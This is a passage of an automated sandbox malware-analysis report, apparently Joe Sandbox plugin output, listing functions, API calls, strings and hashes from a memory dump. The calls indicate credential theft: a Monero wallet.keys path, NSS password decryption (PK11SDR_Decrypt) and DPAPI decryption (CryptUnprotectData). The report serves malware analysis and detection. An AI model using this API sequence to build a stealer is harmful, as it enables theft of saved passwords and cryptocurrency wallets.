Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /n|0$75?j$=Vz$FA?m$Q^/j$S 7V$ST?}$U^/j$q+co${_o$?m(${v
API String ID: 0-2229668292
Opcode ID: fb860145d6c6850ae8a23febc03d67ecee06925ffb058591c65450bf6aff313f
Instruction ID: 6db02c4742e0bc349524d823c46e993312eb64770f1e7199407f35711557fcc5
Opcode Fuzzy Hash: fb860145d6c6850ae8a23febc03d67ecee06925ffb058591c65450bf6aff313f
Instruction Fuzzy Hash: 18B226F390C2049FE3046E2DEC8567ABBE9EF94720F1A493DEAC5C7744EA3558018697

Function 00B3DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B50C2E), ref: 00B3DE5E
StrCmpCA.SHLWAPI(?,00B514C8), ref: 00B3DEAE
StrCmpCA.SHLWAPI(?,00B514CC), ref: 00B3DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00B3E3E0
FindClose.KERNEL32(000000FF), ref: 00B3E3F2

Strings

\*.*, xrefs: 00B3DE26

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 21177c6b59649f3cb8ef2875c6f18e2053dda7e58a6c3ae64a8d43a9d3c84cce
Instruction ID: 54602d1d22ac7e5b19dbca619ad45097e62fdb6eab17f74415994b90a982e7e6
Opcode Fuzzy Hash: 21177c6b59649f3cb8ef2875c6f18e2053dda7e58a6c3ae64a8d43a9d3c84cce
Instruction Fuzzy Hash: 00F1EF718541189AEB25FB60DC96EEE73B8FF54304F9141D9B40A62091EF306F8ADF62

Function 00B3C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B3C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B3C87C
PK11_GetInternalKeySlot.NSS3 ref: 00B3C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B3C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B3C8EB
lstrcat.KERNEL32(?,00B50B46), ref: 00B3C943
lstrcat.KERNEL32(?,00B50B47), ref: 00B3C957
PK11_FreeSlot.NSS3(?), ref: 00B3C961
lstrcat.KERNEL32(?,00B50B4E), ref: 00B3C978

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 9487fa7b464c1b2bc42a0a85b57b980e3cb5dd71e20efe9f203099faf811c4fe
Instruction ID: cc46d7dbdc7f73d0b1e165cec1d502820a447cf0632fa09a5c34c78f04ede043
Opcode Fuzzy Hash: 9487fa7b464c1b2bc42a0a85b57b980e3cb5dd71e20efe9f203099faf811c4fe
Instruction Fuzzy Hash: 0141407590431ADFDB10DFA4DD89BFEBBB8BB84704F1042E8E509A6280D7745A84CFA1

Function 00EFFB8E Relevance: 12.8, Strings: 9, Instructions: 1597COMMON

Download Yara Rule

Strings

riw, xrefs: 00F0084A
Dn_, xrefs: 00F007BA
^}?, xrefs: 00F002BA
!Qz\, xrefs: 00F0024C
Y/7_, xrefs: 00F00395
n.@, xrefs: 00F006D6
{i%|, xrefs: 00F00B90
PEw, xrefs: 00EFFFB0
1tqr, xrefs: 00F00687

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Qz\$1tqr$Dn_$PEw$Y/7_$^}?$n.@$riw${i%|
API String ID: 0-3200918914
Opcode ID: 816bab477d0361fce50072ed42079561c14f417661d34a4ed0c0f7ff8ffc4267
Instruction ID: e84a5bde05c5786372257c44911bfb2a87747e396cfb7303626c28e0d83b0ec3
Opcode Fuzzy Hash: 816bab477d0361fce50072ed42079561c14f417661d34a4ed0c0f7ff8ffc4267
Instruction Fuzzy Hash: 2EA229F3A0C2049FE704AE2DEC8567EBBE9EF94760F16463DEAC5C3744E63558018692

Function 00F0313C Relevance: 11.6, Strings: 8, Instructions: 1599COMMON

Download Yara Rule

Strings

X_sn, xrefs: 00F03AFC
ahw, xrefs: 00F0357E
|//, xrefs: 00F03D89
s0^, xrefs: 00F03DF6
a)7., xrefs: 00F043E2
^*2, xrefs: 00F0367D
zD}, xrefs: 00F03EFD
aw}, xrefs: 00F033FB

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: X_sn$^*2$a)7.$ahw$s0^$zD}$|//$aw}
API String ID: 0-3841757244
Opcode ID: 4cf7dd6a403dab2399a92e99b0af4845a2efac0fcbafeed388279ea5efac1f1b
Instruction ID: c8e263b6a92f1094793f0baddb9022691a13e22e6030f365ba8cf495329a63a1
Opcode Fuzzy Hash: 4cf7dd6a403dab2399a92e99b0af4845a2efac0fcbafeed388279ea5efac1f1b
Instruction Fuzzy Hash: EDB2D3F3A0C2109FE304AE29EC8567AFBE5EF94720F16493DEAC4C3744EA3558148796

Function 00EF7494 Relevance: 9.1, Strings: 6, Instructions: 1629COMMON

Download Yara Rule

Strings

'0_, xrefs: 00EF8787
oebF, xrefs: 00EF7882
3Kt, xrefs: 00EF850C
S{l, xrefs: 00EF771F
[_, xrefs: 00EF7551
4z_, xrefs: 00EF8512

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '0_$3Kt$4z_$S{l$oebF$[_
API String ID: 0-514094878
Opcode ID: 9041870527fa46b06a4358a486980bff16e29afcdd80c05e892cd7a507f0b11e
Instruction ID: 0a9a69a4c8880a0d60a33b931bf885b45c99d8b2ebdb99bd68db0dd5afc97a72
Opcode Fuzzy Hash: 9041870527fa46b06a4358a486980bff16e29afcdd80c05e892cd7a507f0b11e
Instruction Fuzzy Hash: E1B228F3A0C2109FE304AE2DEC8577AFBE9EB94760F1A453DEAC4D3744E93558048696

Function 00B37240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00B3724D
RtlAllocateHeap.NTDLL(00000000), ref: 00B37254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00B37281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00B372A4
LocalFree.KERNEL32(?), ref: 00B372AE

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: f01b67a7c192c30cb15d63238168e65ce3303e5e74cd23d7b4fa38272230054a
Instruction ID: 4301572310d50332415069def1e5f1d8615cc55b74cac854a586bae6071d3df9
Opcode Fuzzy Hash: f01b67a7c192c30cb15d63238168e65ce3303e5e74cd23d7b4fa38272230054a
Instruction Fuzzy Hash: 680116B5A40308BBD714DFD8CD46F9E77B8EB44701F104155FB09EB2C0DA70AA408B65

Function 00B48EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00B35184,40000001,00000000,00000000,?,00B35184), ref: 00B48EC0

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 1bbf44bfba992e10584af97aedc02887ac965e24ece21683388ca6ee016d085e
Instruction ID: dd383656f5505ba3a574526304debaf1e5a3aa5c0256e0350addea0ca9d9ab26
Opcode Fuzzy Hash: 1bbf44bfba992e10584af97aedc02887ac965e24ece21683388ca6ee016d085e
Instruction Fuzzy Hash: E4110A74200204BFDB00CF64D885FAE33E9EF89700F109888F9198B250EB75EA85EB61

Function 00B39AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00B34EEE,00000000,?), ref: 00B39B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B34EEE,00000000,00000000), ref: 00B39B2A
LocalFree.KERNEL32(?,?,?,?,00B34EEE,00000000,?), ref: 00B39B3F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
